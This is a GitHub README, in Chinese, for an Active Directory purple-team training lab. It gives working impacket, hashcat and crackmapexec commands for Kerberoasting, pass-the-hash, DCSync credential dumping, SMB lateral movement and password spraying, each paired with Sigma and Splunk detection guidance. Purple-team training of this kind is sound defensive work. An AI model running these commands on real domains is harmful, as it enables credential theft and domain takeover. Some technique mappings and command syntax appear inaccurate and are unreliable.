Shivam-kumar-jha/ad-exploitation-lab

GitHub: Shivam-kumar-jha/ad-exploitation-lab

一个端到端的 Active Directory 紫队实验室,集成五条攻击链及配套 Sigma 检测规则、PCAP 证据和 Splunk 仪表盘,用于攻防对抗演练与 SOC 分析师培训。

Stars: 0 | Forks: 0

# Active Directory 漏洞利用实验室 ## 概述 ## 实验室架构 ┌─────────────────────────┐ │ 攻击者 (Kali) │ │ • Nmap, Metasploit │ │ • Impacket 工具 │ └──────────┬──────────────┘ │ 网络攻击 ↓ ┌─────────────────────────┐ │ Windows 域 │ │ • DC (Active Directory) │ │ • 成员服务器 │ │ • 工作站 │ └──────────┬──────────────┘ │ 事件日志 ↓ ┌─────────────────────────┐ │ Splunk SIEM │ │ • 收集 Windows 日志 │ │ • 运行 Sigma 规则 │ │ • 实时告警 │ └─────────────────────────┘ ## 记录的攻击 | # | 攻击 | T-Code | 文件 | 检测 | |---|--------|--------|-------|-----------| | 1 | Kerberoasting | T1558.003 | [attacks/01-kerberoasting](attacks/01-kerberoasting) | [Sigma](detections/01-kerberoasting.yml) | | 2 | Pass-the-Hash | T1550.002 | [attacks/02-pth](attacks/02-pth) | [Sigma](detections/02-pth.yml) | | 3 | DCSync | T1033 | [attacks/03-dcsync](attacks/03-dcsync) | [Sigma](detections/03-dcsync.yml) | | 4 | 横向移动 (SMB) | T1021.002 | [attacks/04-lateral](attacks/04-lateral) | [Sigma](detections/04-lateral.yml) | | 5 | 凭据收集 | T1110.003 | [attacks/05-creds](attacks/05-creds) | [Sigma](detections/05-creds.yml) | ## 快速开始 ### 前置条件 - VMware/Hyper-V 且具备 ≥12GB RAM - Windows Server 2019 ISO (包含 AD DS 角色) - Kali Linux 2024.x - Splunk Enterprise (免费许可证) ### 设置(约 55 分钟) ``` # 导入 domain controller VM # 创建测试 domain: attacklab.local # 添加 3 个具有不同权限的用户账户 # 在单独的 VM 上安装 Splunk # 配置 WEF (Windows Event Forwarding) 到 Splunk ``` 完整指南请参见 [docs/SETUP.md](docs/SETUP.md)。 ## 攻击演练 ### 1. Kerberoasting (T1558.003) **目标:** 为域服务请求 TGS 票据并对其进行离线破解。 **工具:** impacket-GetUserSPNs, hashcat ``` # 为所有 SPN 请求 TGS python3 /usr/share/impacket/examples/GetUserSPNs.py -request \ attacklab.local/lowuser:password@dc.attacklab.local # 离线破解 hashes hashcat -m 13100 kerberoast.txt wordlist.txt ``` **检测:** Splunk 查询可识别来自非服务账户的异常 SPN 请求。Sigma 规则在关联到 Event 4769 + 4768 时触发。 **证据:** PCAP、日志提取和 Splunk 告警截图位于 `evidence/` 目录中。 ### 2. Pass-the-Hash (T1550.002) **目标:** 无需破解直接重用 NTLM 哈希以进行横向移动。 **工具:** impacket-psexec, mimikatz ``` # 提取 NTLM hashes impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL # Pass the hash impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \ administrator@member.attacklab.local cmd.exe ``` **检测:** 来自意外来源的登录类型 3;同一哈希在多台机器上重用。 ### 3. DCSync (T1033) **目标:** 模拟域控制器以提取所有密码哈希。 **工具:** impacket-secretsdump (DCSync 模式), mimikatz ``` impacket-secretsdump -dc-ip dc.attacklab.local \ attacklab.local/compromised_user:password@dc.attacklab.local ``` **检测:** 来自非 DC 源的复制 RPC 调用;Event 4662(已检查复制权限)+ 4929(复制成功)。 ### 4. 通过 SMB 横向移动 (T1021.002) **目标:** 使用凭据从受感染的主机移动到域成员。 **工具:** impacket-smbclient, impacket-psexec ``` # 枚举 SMB shares impacket-smbclient -U 'attacklab\compromised_user%password' \ \\\\member.attacklab.local\\c$ # PSExec 风格的横向移动 impacket-psexec -U 'attacklab\compromised_user' -P 'password' \ 'member.attacklab.local' cmd.exe ``` **检测:** 来自非管理员源的 SMB admin$ 访问;意外从 svchost 派生的 cmd.exe。 ### 5. 凭据收集 (T1110.003) **目标:** 对薄弱的域凭据进行暴力破解或喷射。 **工具:** crackmapexec ``` # Password spray(避免锁定 — 每个用户仅尝试一次) crackmapexec smb member.attacklab.local -u users.txt -p 'P@ssw0rd123' \ --continue-on-success --loglevel DEBUG ``` **检测:** 来自同一源的多个 4625(登录失败)事件;阈值 >5 分钟内 5 次。 ## 检测总结 | 攻击 | 告警类型 | 阈值 | 响应 | |--------|-----------|-----------|----------| | Kerberoasting | SPN 请求异常 | 3+ SPNs/小时 | 调查账户 | | Pass-the-Hash | 哈希重用模式 | 相同哈希,2+ 台机器 | 终结会话,重置密码 | | DCSync | 来自非 DC 的复制 RPC | 任何发生 | 封禁账户,强制修改密码 | | 横向移动 | Admin$ + cmd.exe 进程 | 任何 + cmd.exe | 隔离主机,终止进程 | | 凭据喷射 | 登录失败 | >5 分钟内 5 次 | 强制执行 MFA,实施锁定 | ## SOC 分析师用例 此实验室用于培训分析师: 1. 识别 Windows 事件日志中的攻击模式 2. 关联跨多个日志源的事件 3. 区分误报与真实攻击 4. 带着证据(PCAP + 日志 + 截图)进行升级上报 **培训场景:** 告警在“针对 user_X 的 4769 + 4768 关联”时触发。分析师检查:user_X 是否请求了不属于他们自己的服务的 TGS 票据?如果是 — 则升级上报至事件响应。 ## 文件结构 ## 关键要点 - 真实的攻击链 —— 而非孤立的技术 - 每个阶段的 MITRE ATT&CK 映射 - 为每次攻击提供 Sigma 检测规则 - 紫队视角:攻击 + 防御相结合 ## MITRE ATT&CK 覆盖范围 - T1558.003 — Kerberoasting - T1550.002 — Pass-the-Hash - T1033 — DCSync 上下文 - T1021.002 — 横向移动 (SMB) - T1110.003 — 暴力破解 / 凭据喷射 **覆盖范围:涵盖 3 种战术(凭据访问、横向移动、侦察)的 5 个独立 T-Code** ## 如何在面试中谈论此项目 **状态:** 研究级实验室,已准备好用于面试和实习讨论。
标签:AMSI绕过, Terraform 安全, 威胁检测, 活动目录, 紫队演练, 网络安全实验室